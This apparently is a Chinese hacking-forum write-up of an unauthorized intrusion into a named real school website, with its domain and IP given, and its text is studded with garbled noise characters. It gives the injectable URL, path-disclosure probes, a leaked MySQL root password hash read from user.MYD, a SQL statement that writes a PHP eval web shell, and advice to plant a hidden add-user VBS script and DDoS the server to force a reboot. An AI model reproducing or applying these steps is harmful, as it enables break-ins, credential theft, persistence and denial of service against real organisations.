友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
. T/ F. U5 a% w/ ?$ p& [! Q% c发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！
, K! U" Y3 @# J
& A: w2 v0 M, \, [+ l$ [6 \

常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限
6 O- ~* A1 ?) s9 C3 @7 {2 i5 Y5 _% M  N4 T
& L. C) c, u# I$ ]+ _那么想可以直接写入shell ，getshell有几个条件：

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF
" i. A  M9 ^3 G% s( }
试着爆绝对路径：
1./phpMyAdmin/index.php?lang[]=1  
# U) P; t3 w! S3 y$ k2./phpMyAdmin/phpinfo.php  
" }1 C/ D: z# B8 c0 y3./load_file()  
$ \# c! D, U: B9 e9 E- m4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
: D& q, C) C: W$ a- C5./phpmyadmin/libraries/select_lang.lib.php  
$ G1 @+ m) w, S- ^4 n5 T6./phpmyadmin/libraries/lect_lang.lib.php  
6 N  q+ H. ~; C7./phpmyadmin/libraries/mcrypt.lib.php   
& }. V+ C* f7 r8 O8 I% h/ k9 h8./phpmyadmin/libraries/export/xls.php  
2 C  D* g5 J% @" L: T! l
均不行...........................

6 y+ Y: e. {# }御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php

权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin

, V9 E0 e/ ^5 d默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败
5 g( k  y  x1 ^  \2 ]3 O
敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........

想想root还可以读，读到root密码进phpmyadmin 也可以拿shell

http://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini

自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD

) R- @' c. c' ]; }: w- W: `成功读到root密码：

17---- r(0072)
3 L/ U3 B, u0 Z) i1 E! r18---- o(006f)
19---- o(006f)
/ _) G& g! i; f: V5 P0 O% x20---- t(0074)
21---- *(002a)
  T# }" m: N2 o22---- 8(0038)
" R7 Z) }( E" Z3 x23---- 2(0032)
24---- E(0045)
25---- 1(0031)
! J5 L8 ]) d; G0 n3 h* T26---- C(0043)
27---- 5(0035)
28---- 8(0038)
+ f  L) U* V4 [8 ^; r7 [29---- 2(0032)
30---- 8(0038)
31---- A(0041)
' z3 c) {4 J9 j* f2 C7 G32---- 9(0039)
+ Z, ~/ M" W, T33---- B(0042)
# j0 @( x( o7 v3 p34---- 5(0035)
7 O# r7 O+ w! w. X35---- 4(0034)
4 ?6 q% _. \9 V% C: ~36---- 8(0038)
# I$ e' }1 N( K& d/ @' [37---- 6(0036)
38---- 4(0034)
9 D( E8 a+ o6 F0 E* o& |39---- 9(0039)
40---- 1(0031)
; T9 }; g& a" z4 {41---- 1(0031)
- J+ d5 Z  {% z0 I7 @! w. Z. o42---- 5(0035)
43---- 3(0033)
6 O) ~) K9 j. t& M: L44---- 5(0035)
45---- 9(0039)
46---- 8(0038)
# K; B+ f! \8 e& E9 }2 a# k! f! A6 _- j47---- F(0046)
: ]& ^& b8 ]# X# h* _48---- F(0046)
49---- 4(0034)
50---- F(0046)
51---- 0(0030)
. A* h* Z. O$ K3 U& G+ ]52---- 3(0033)
8 x- x' H5 s: F9 _  }2 O53---- 2(0032)
54---- A(0041)
/ g" U  Z$ ~; n, b# M( J* _55---- 4(0034)
& B. o  Y- C( C" Z; G6 l56---- A(0041)
* D2 ]' z' t/ o) c: W- u$ T: H' v4 ~3 i57---- B(0042)
58---- *(0044)
4 p, K* y8 D+ J  O5 V; s) e* \59---- *(0035)
# J; z9 i$ q1 t, U% j$ M. m60---- *(0041)
/ U# d; C) N  p# X  g. n61---- *0032)

解密后成功登陆phpmyamin
                          
+ r2 N8 O' Y* o2 b8 }
9 F8 q! f" I" m6 Y. }                             
/ [0 o! Z7 H' O& z3 U  M; X
$ y0 c- U! ?& f: V3 C找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'
, I3 P" Y, }- H7 Q' F! M
成功执行，拿下shell，菜刀连接：

# Z* y% u' X8 U+ K服务器不支持asp,aspx,php提权无果...................

但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：
9 I, T: _+ V1 Z% V8 H7 K

服务器上已经有个隐藏帐号了

9 n/ g, w# m6 N: o" ?& m

别名     administrators
' k8 C- U/ a9 Z) R6 p* }注释     管理员对计算机/域有不受限制的完全访问权

成员

-------------------------------------------------------------------------------
2 i: r( U9 J4 b1 Hadmin
Administrator
5 N4 P4 i) t. `* ^slipper$
' f" B( B5 Q, ~: n! O* s/ M! K" t' ]sqluser
命令成功完成。

服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。

, W% |7 _6 L, f: ~- Yddos服务器重启，不然就只能坐等服务器重启了...............................
2 k2 [5 G) V+ y' {, e2 J
2 ]2 u# i; s% T- L9 n- a: {) {      

' g5 h* }& U" ?  v. x

angel